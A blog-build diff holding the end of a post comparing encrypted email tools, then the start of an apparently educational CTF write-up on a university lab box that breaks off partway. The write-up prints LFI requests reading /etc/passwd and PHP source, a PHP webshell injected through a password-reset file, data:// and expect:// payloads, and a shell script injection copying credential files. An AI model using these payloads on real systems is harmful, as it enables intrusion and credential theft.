<p>Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a <strong>password‑protected message</strong> that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.</p>
|
||||
<p><strong>Prices (personal):</strong> Free tier exists; paid tiers like <strong>Mail Plus</strong> and <strong>Proton Unlimited</strong> add storage, custom domains, and Proton Bridge for desktop clients. Expect <strong>single‑digit € per month</strong> for personal use; business plans are per‑user.<br>
|
||||
<strong>How to use:</strong> Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can <strong>reply securely</strong> in the web portal—even without an account.<br>
|
||||
<strong>Ups:</strong> Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.<br>
|
||||
<strong>Downs:</strong> Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.</p>
|
||||
<p>Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.</p>
|
||||
<h3 id="tuta-formerly-tutanota-privacy-maximalist-subjectline-encryption">Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)</h3>
|
||||
<p>Tuta offers automatic E2EE between Tuta users and <strong>password‑protected emails</strong> to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including <strong>subject lines</strong>—and the whole suite is open‑source and auditable.</p>
|
||||
<p><strong>Prices (personal & business):</strong> Free plan plus personal tiers (e.g., <strong>Revolutionary</strong>, <strong>Legend</strong>) and business tiers (<strong>Essential/Advanced/Unlimited</strong>). Personal is typically <strong>low single‑digit €/month</strong>; business is <strong>per‑user, per‑month</strong>.<br>
|
||||
<strong>How to use:</strong> Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.<br>
|
||||
<strong>Ups:</strong> Max privacy posture; encrypted subjects between Tuta users; clean apps.<br>
|
||||
<strong>Downs:</strong> Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.</p>
|
||||
<p>I was introduced to this one literally for writing this post, I had no idea it existed before.</p>
|
||||
<h3 id="gmail-with-clientside-encryption-cse-for-organizations-on-google-workspace">Gmail with <strong>Client‑Side Encryption</strong> (CSE) (for organizations on Google Workspace)</h3>
|
||||
<p>If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—<strong>keys stay with your organization</strong>. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.</p>
|
||||
<p><strong>Prices:</strong> CSE is available on certain Workspace editions (e.g., <strong>Enterprise Plus</strong>, <strong>Education Standard/Plus</strong>, <strong>Frontline Plus</strong>). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.<br>
|
||||
<strong>How to use:</strong> Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.<br>
|
||||
<strong>Ups:</strong> Seamless for employees; centralized key control; good audit/compliance story.<br>
|
||||
<strong>Downs:</strong> Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.</p>
|
||||
<p>I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.</p>
|
||||
<h3 id="outlook--apple-mail-with-smime-classic-enterprise-path">Outlook / Apple Mail with <strong>S/MIME</strong> (classic enterprise path)</h3>
|
||||
<p>S/MIME uses <strong>X.509 certificates</strong> instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.</p>
|
||||
<p><strong>Prices:</strong> The tech is built in; costs come from <strong>certificates</strong>. Orgs often issue them internally; public CA prices vary.<br>
|
||||
<strong>How to use:</strong> Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.<br>
|
||||
<strong>Ups:</strong> Great inside enterprises; MDM‑friendly; widely supported.<br>
|
||||
<strong>Downs:</strong> Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.</p>
|
||||
<p>Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.</p>
|
||||
<h3 id="thunderbird--openpgp-free-powerful-nerdapprovednow-usable">Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)</h3>
|
||||
<p>Thunderbird bakes in <strong>OpenPGP</strong> and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports <strong>protected headers/subject encryption</strong> so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.</p>
|
||||
<p><strong>Prices:</strong> Free.<br>
|
||||
<strong>How to use:</strong> Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.<br>
|
||||
<strong>Ups:</strong> Full control, open source, works with any provider via IMAP/SMTP; subject protection available.<br>
|
||||
<strong>Downs:</strong> Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.</p>
|
||||
<p>This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.</p>
|
||||
<h3 id="browser-addons-mailvelope--flowcrypt-bring-e2ee-to-webmail">Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)</h3>
|
||||
<p>If you’re welded to webmail, add‑ons can meet you where you live. <strong>Mailvelope</strong> brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. <strong>FlowCrypt</strong> focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.</p>
|
||||
<p><strong>Prices:</strong> Mailvelope is free/open‑source. FlowCrypt has a generous free tier with <strong>paid enterprise features</strong> for teams.<br>
|
||||
<strong>How to use:</strong> Install the extension → create/import keys → compose in a secure editor injected into your webmail.<br>
|
||||
<strong>Ups:</strong> Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.<br>
|
||||
<strong>Downs:</strong> Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.</p>
|
||||
<p>Just no. Don’t trust add-ons. Please.</p>
|
||||
<h2 id="so-which-should-you-use">So… which should <em>you</em> use?</h2>
|
||||
<p>If you need to send a one‑off encrypted message to a <strong>non‑technical person</strong>, Proton or Tuta’s <strong>password‑protected email</strong> is the friendliest: they click a link, enter the password you shared elsewhere, and can <strong>reply securely</strong> even without an account. For a <strong>company already on Google Workspace</strong>, turn on <strong>Gmail CSE</strong> so people don’t juggle keys. If you’re a <strong>power user</strong> or want provider‑agnostic control, go with <strong>Thunderbird OpenPGP</strong>—it’s free, modern, and interoperable. And if you won’t leave the web, try <strong>Mailvelope</strong> or <strong>FlowCrypt</strong> to bolt E2EE onto the inbox you already use.</p>
|
||||
<p>Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.</p>
|
||||
<h2 id="a-note-on-what-e2ee-hides-and-what-it-doesnt">A note on what E2EE hides (and what it doesn’t)</h2>
|
||||
<p>End‑to‑end encryption protects the <strong>body</strong> and <strong>attachments</strong>. Across the wider email network, <strong>metadata like From/To and delivery timestamps</strong> remain visible by design. Subjects may also be visible unless your tools use <strong>protected headers</strong> (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide <em>everything</em>, email might not be the right tool—reach for Signal or Matrix instead.</p>
|
||||
<h2 id="quick-price--fit-at-a-glance">Quick price & fit-at-a-glance</h2>
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Option</th>
|
||||
<th>Best fit</th>
|
||||
<th>Personal price vibe</th>
|
||||
<th>Notes</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>Proton Mail</td>
|
||||
<td>Everyday private email + easy messages to anyone</td>
|
||||
<td>Free; personal paid tiers in <strong>single‑digit €/mo</strong>; business per‑user</td>
|
||||
<td>Password‑protected emails to non‑Proton; PGP support</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Tuta</td>
|
||||
<td>Privacy‑max email; encrypted subjects in‑ecosystem</td>
|
||||
<td>Free; personal low <strong>€/mo</strong>; business per‑user</td>
|
||||
<td>Password‑protected emails to non‑Tuta; open source</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Gmail CSE</td>
|
||||
<td>Orgs on Google Workspace</td>
|
||||
<td>Included with <strong>Enterprise Plus/Education/Frontline</strong> editions</td>
|
||||
<td>Admin setup + external‑recipient flow</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>S/MIME (Outlook/Apple Mail)</td>
|
||||
<td>Enterprises with IT/MDM</td>
|
||||
<td>Software built‑in; <strong>cert costs vary</strong></td>
|
||||
<td>Smooth inside one org; cert exchange needed across orgs</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Thunderbird OpenPGP</td>
|
||||
<td>Provider‑agnostic power users</td>
|
||||
<td>Free</td>
|
||||
<td>Can encrypt subjects via protected headers</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Mailvelope / FlowCrypt</td>
|
||||
<td>Must stay on webmail</td>
|
||||
<td>Free / <strong>paid enterprise</strong> options</td>
|
||||
<td>PGP in the browser; good stepping stone</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<h2 id="the-60second-starter-packs">The 60‑second starter packs</h2>
|
||||
<p><strong>Proton/Tuta for one‑offs:</strong> create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.</p>
|
||||
<p><strong>Thunderbird for everything else:</strong> install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.</p>
|
||||
<hr>
|
||||
<h2 id="shower-thoughts"><strong>Shower thoughts</strong></h2>
|
||||
<p>So, why did I mention any of this?
|
||||
Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.</p>
|
||||
<p>A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home.
|
||||
The thing is, people might not use them because they don’t trust them.</p>
|
||||
<p>The question I had was different.
|
||||
Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?</p>
|
||||
<p>In hindsight this seems stupid.
|
||||
But listen to me.
|
||||
If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it?
|
||||
The only, and oh well, biggest problem is key exchange.
|
||||
Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way.
|
||||
And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key.
|
||||
Like via a quick short call.
|
||||
They can also be faked, but let’s not go that extreme.
|
||||
Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.</p>
|
||||
<p>Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.</p>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/posts/e2ee.md">Markdown</a> ·
|
||||
<a href="/sources/posts/e2ee.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
|
||||
jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
|
||||
z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
|
||||
teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
|
||||
nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
|
||||
qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
|
||||
S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
|
||||
bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
|
||||
mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
|
||||
BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
|
||||
iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
|
||||
ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
|
||||
=R0VX
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md.asc
|
||||
gpg --verify e2ee.md.asc e2ee.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item></channel></rss>
|
||||
2
public-clearnet/categories/privacy/page/1/index.html
Normal file
2
public-clearnet/categories/privacy/page/1/index.html
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
<!doctype html><html lang=en><head><title>https://blog.alipour.eu/categories/privacy/</title>
|
||||
<link rel=canonical href=https://blog.alipour.eu/categories/privacy/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://blog.alipour.eu/categories/privacy/"></head></html>
|
||||
11
public-clearnet/categories/security/index.html
Normal file
11
public-clearnet/categories/security/index.html
Normal file
File diff suppressed because one or more lines are too long
360
public-clearnet/categories/security/index.xml
Normal file
360
public-clearnet/categories/security/index.xml
Normal file
|
|
@ -0,0 +1,360 @@
|
|||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Security on AlipourIm journeys</title><link>https://blog.alipour.eu/categories/security/</link><description>Recent content in Security on AlipourIm journeys</description><generator>Hugo -- 0.146.0</generator><language>en</language><lastBuildDate>Fri, 05 Jun 2026 12:00:00 +0000</lastBuildDate><atom:link href="https://blog.alipour.eu/categories/security/index.xml" rel="self" type="application/rss+xml"/><item><title>A TU Wien CTF where Sysops Klaus left the keys in the cron job</title><link>https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/</link><pubDate>Fri, 05 Jun 2026 12:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/</guid><description>LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.</description><content:encoded><![CDATA[<blockquote>
|
||||
<p><strong>Spoiler alert:</strong> this is a full writeup. If you still want to solve <code>g#.tuw.measurement.network</code> yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.</p></blockquote>
|
||||
<p>This post documents how I solved a CTF box that came out of <a href="https://www.inet.tuwien.ac.at/">Tobias Fiebig</a>’s <em>Real World Security</em> presentation at TU Wien — the one with <strong>Sysops Fahrer Klaus</strong>, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.</p>
|
||||
<p>Each student group gets their own host (<code>g00</code>, <code>g01</code>, …). The goal is simple on paper:</p>
|
||||
<ol>
|
||||
<li>Collect every <code>passwd_part</code> file sitting in user home directories.</li>
|
||||
<li>Stitch them together into the <strong>root password</strong> (the full answer lives in <code>/root/passwd</code>).</li>
|
||||
</ol>
|
||||
<p>Simple. Boring. Except Klaus was clearly in charge of this VM.</p>
|
||||
<hr>
|
||||
<h2 id="0-the-lay-of-the-land">0) The lay of the land</h2>
|
||||
<p><strong>Target:</strong> <code>g00.tuw.measurement.network</code></p>
|
||||
<p>From the outside you mostly see three faces of the same machine:</p>
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Host</th>
|
||||
<th>What it is</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td><code>g00.tuw.measurement.network</code></td>
|
||||
<td>Main vhost — <code>documentation.md</code>, directory listing, a teasing <code>passwd_part</code> that returns <strong>403</strong></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code>web.g00.tuw.measurement.network</code></td>
|
||||
<td>PHP “meme gallery” with a very trusting <code>?page=</code> parameter</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code>pwreset.g00.tuw.measurement.network</code></td>
|
||||
<td>Internal password-reset app — <strong>not reachable directly</strong> from the internet</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<p>Users on the box (from <code>/etc/passwd</code> via LFI): <code>user1</code>–<code>user4</code>, <code>monitoring</code>, <code>www-data</code>, <code>root</code>.</p>
|
||||
<p>SSH from outside? Public key only. Password auth is a lie (for us, anyway).</p>
|
||||
<hr>
|
||||
<h2 id="1-recon--documentationmd-saves-the-day">1) Recon — documentation.md saves the day</h2>
|
||||
<p>First stop: the main site.</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -s https://g00.tuw.measurement.network/documentation.md
|
||||
</span></span></code></pre></div><p>That file is basically a treasure map. It mentions two services:</p>
|
||||
<ul>
|
||||
<li><strong>web</strong> → <code>web.g00.tuw.measurement.network</code></li>
|
||||
<li><strong>pwreset</strong> → <code>pwreset.g00.tuw.measurement.network</code></li>
|
||||
</ul>
|
||||
<p>I also poked the obvious paths (<code>.git</code>, <code>phpinfo</code>, swap files, <code>robots.txt</code>, …). Nothing juicy on the main vhost except the directory index and the forbidden <code>passwd_part</code>.</p>
|
||||
<p>Subdomains resolve. Good. Let’s go web.</p>
|
||||
<hr>
|
||||
<h2 id="2-lfi--include_getpage-classic">2) LFI — <code>include($_GET['page'])</code> classic</h2>
|
||||
<p>The web vhost is a frameset. Content loads in a frame via <code>?page=</code>:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -sk <span style="color:#e6db74">'https://web.g00.tuw.measurement.network/?page=/etc/passwd'</span>
|
||||
</span></span></code></pre></div><p>And there it is — root, users, the whole <code>/etc/passwd</code> parade inside the frame.</p>
|
||||
<p>Source via PHP filter works too:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -sk <span style="color:#e6db74">'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php'</span> <span style="color:#ae81ff">\
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span> | sed -n <span style="color:#e6db74">'s/.*frame name="in">//p'</span> | base64 -d
|
||||
</span></span></code></pre></div><p><code>index.php</code> is roughly:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672"><?</span><span style="color:#a6e22e">php</span>
|
||||
</span></span><span style="display:flex;"><span>$page <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">'page'</span>] <span style="color:#f92672">??</span> <span style="color:#e6db74">'home.php'</span>;
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">include</span>($page);
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e">?></span><span style="color:#960050;background-color:#1e0010">
|
||||
</span></span></span></code></pre></div><p>Klaus, my man. We love you.</p>
|
||||
<p><strong>First instinct:</strong> read all the <code>passwd_part</code> files immediately.</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># spoiler: doesn't work</span>
|
||||
</span></span><span style="display:flex;"><span>curl -sk <span style="color:#e6db74">'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># → permission denied</span>
|
||||
</span></span></code></pre></div><p>Same for <code>user2</code>–<code>user4</code>, <code>monitoring</code>, <code>root/passwd</code>. The LFI runs as <code>www-data</code>. Those files are not world-readable. Fair.</p>
|
||||
<hr>
|
||||
<h2 id="3-pwreset--localhost-only-but-lfi-doesnt-care-about-nginx">3) pwreset — localhost-only, but LFI doesn’t care about nginx</h2>
|
||||
<p>Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">allow</span> 127.0.0.1;
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">deny</span> <span style="color:#e6db74">all</span>;
|
||||
</span></span></code></pre></div><p>So you can’t hit <code>https://pwreset.g00...</code> from your laptop. But PHP on the <strong>web</strong> vhost can still <strong>include</strong> the pwreset <code>index.php</code> file — that’s a local file include, not an HTTP request.</p>
|
||||
<p>pwreset source (paraphrased):</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>$user <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">'user'</span>] <span style="color:#f92672">??</span> <span style="color:#e6db74">''</span>;
|
||||
</span></span><span style="display:flex;"><span>$pass <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">'pass'</span>] <span style="color:#f92672">??</span> <span style="color:#e6db74">''</span>;
|
||||
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">file_put_contents</span>(<span style="color:#e6db74">'/var/www/userchange'</span>, <span style="color:#e6db74">"</span><span style="color:#e6db74">$user</span><span style="color:#e6db74">:</span><span style="color:#e6db74">$pass\n</span><span style="color:#e6db74">"</span>);
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">"Password reset queued."</span>;
|
||||
</span></span></code></pre></div><p>It writes <code>user:pass</code> lines to <code>/var/www/userchange</code>. Something on the system processes that file later (spoiler: <code>chpasswd</code>, not shell).</p>
|
||||
<p><strong>Trigger it through LFI:</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>https://web.g00.tuw.measurement.network/
|
||||
</span></span><span style="display:flex;"><span> ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
|
||||
</span></span><span style="display:flex;"><span> &user=user1
|
||||
</span></span><span style="display:flex;"><span> &pass=MyTestPass1!
|
||||
</span></span></code></pre></div><p>I confirmed writes by reading <code>/var/www/userchange</code> back through the LFI. The file updates. Something also <strong>clears</strong> it on a schedule — so a cron job is definitely eating it.</p>
|
||||
<hr>
|
||||
<h2 id="4-rce--php-in-userchange-included-like-a-boss">4) RCE — PHP in <code>userchange</code>, included like a boss</h2>
|
||||
<p>At some point I wondered: what if the thing that processes <code>userchange</code> doesn’t only run <code>chpasswd</code>? What if it <strong>includes</strong> the file as PHP?</p>
|
||||
<p>So I wrote a tiny shell into the <code>user</code> field via pwreset:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672"><?=</span><span style="color:#e6db74">`id`</span><span style="color:#75715e">?></span><span style="color:#960050;background-color:#1e0010">
|
||||
</span></span></span></code></pre></div><p>Then included <code>/var/www/userchange</code> through the LFI:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>?page=/var/www/userchange
|
||||
</span></span></code></pre></div><p><strong>Output:</strong> <code>uid=33(www-data) gid=33(www-data) ...</code></p>
|
||||
<p>Short tags (<code><?= ... ?></code>) for the win. A longer <code><?php system(...); ?></code> payload also works, but the backtick version is minimal and cute.</p>
|
||||
<p>From here on, my mental model was:</p>
|
||||
<ol>
|
||||
<li><strong>pwreset</strong> → write arbitrary-ish content to <code>/var/www/userchange</code></li>
|
||||
<li><strong>LFI include <code>userchange</code></strong> → execute PHP as <code>www-data</code></li>
|
||||
</ol>
|
||||
<p>That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.</p>
|
||||
<hr>
|
||||
<h2 id="5-rabbit-holes-aka-everything-i-tried-before-it-worked">5) Rabbit holes (aka “everything I tried before it worked”)</h2>
|
||||
<p>This box is a <em>presentation</em> CTF. It wants you to wander. I wandered. Hard.</p>
|
||||
<h3 id="nginx-log-poisoning">nginx log poisoning</h3>
|
||||
<p>The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. <strong>Plot twist:</strong> Tobias later confirmed it <em>is</em> the intended RCE path. I just griefed myself out of it. See <a href="#11-bonus-the-intended-log-poisoning-path">§11 Bonus</a> for the real technique and what I screwed up.</p>
|
||||
<p>Short version of my failure: I poisoned via <strong>HTTPS</strong> (wrong log), sprayed <strong>broken PHP</strong> into the HTTP log, and never read the hint in <code>index.php</code> source until it was too late.</p>
|
||||
<h3 id="data-phpinput-expect"><code>data://</code>, <code>php://input</code>, <code>expect://</code></h3>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>?page<span style="color:#f92672">=</span>data://text/plain,<?php system<span style="color:#f92672">(</span>$_GET<span style="color:#f92672">[</span>cmd<span style="color:#f92672">])</span>; ?>
|
||||
</span></span><span style="display:flex;"><span>?page<span style="color:#f92672">=</span>php://input <span style="color:#75715e"># with POST body</span>
|
||||
</span></span><span style="display:flex;"><span>?page<span style="color:#f92672">=</span>expect://id
|
||||
</span></span></code></pre></div><p>Nope. <code>allow_url_include = Off</code>. Klaus isn’t <em>that</em> careless.</p>
|
||||
<h3 id="vim-swp-files">vim <code>.swp</code> files</h3>
|
||||
<p><code>.memes.php.swp</code> is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried <code>img_src</code> shell escapes on <code>memes.php</code> / <code>convert_img.php</code>.</p>
|
||||
<p>Empty memes page. No execution. Nice red herring — very on-theme for the talk.</p>
|
||||
<h3 id="munin--apt_all-plugin">Munin / <code>apt_all</code> plugin</h3>
|
||||
<p>The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:</p>
|
||||
<ul>
|
||||
<li><code>/etc/munin/plugins/apt_all</code> — referenced in cron, but the plugin file <strong>doesn’t exist</strong></li>
|
||||
<li>Brute-forced tons of plugin names and backup suffixes (<code>.bak</code>, <code>.swp</code>, <code>~</code>, …)</li>
|
||||
<li>Waited for cron cycles hoping a custom plugin would curl localhost pwreset</li>
|
||||
</ul>
|
||||
<p><strong>Verdict:</strong> the <code>apt_all</code> munin path is a distraction (or a removed artifact). The real privesc was elsewhere.</p>
|
||||
<h3 id="pwreset-log-archaeology">pwreset log archaeology</h3>
|
||||
<p>Reading <code>/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log</code> via LFI is gold for lore:</p>
|
||||
<ul>
|
||||
<li>Saw historical resets like <code>user3</code> → <code>foobar23</code></li>
|
||||
<li>Tried <code>foobar23</code> over SSH for every user</li>
|
||||
</ul>
|
||||
<p><strong>From outside:</strong> still <code>Permission denied (publickey)</code>. Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.</p>
|
||||
<h3 id="shell-script-injection-into-userchange">Shell script injection into <code>userchange</code></h3>
|
||||
<p>I tried newline injection to turn <code>userchange</code> into a bash script:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>user=
|
||||
</span></span><span style="display:flex;"><span>#!/bin/sh
|
||||
</span></span><span style="display:flex;"><span>cp /home/user1/passwd_part /var/www/.../p1
|
||||
</span></span><span style="display:flex;"><span>...
|
||||
</span></span></code></pre></div><p>Cron cleared the file. No copies appeared. The processor uses <strong><code>chpasswd</code></strong>, not <code>/bin/sh</code>. Good lesson. Wrong path.</p>
|
||||
<h3 id="brute-forcing-the-userchange-consumer">Brute-forcing the <code>userchange</code> consumer</h3>
|
||||
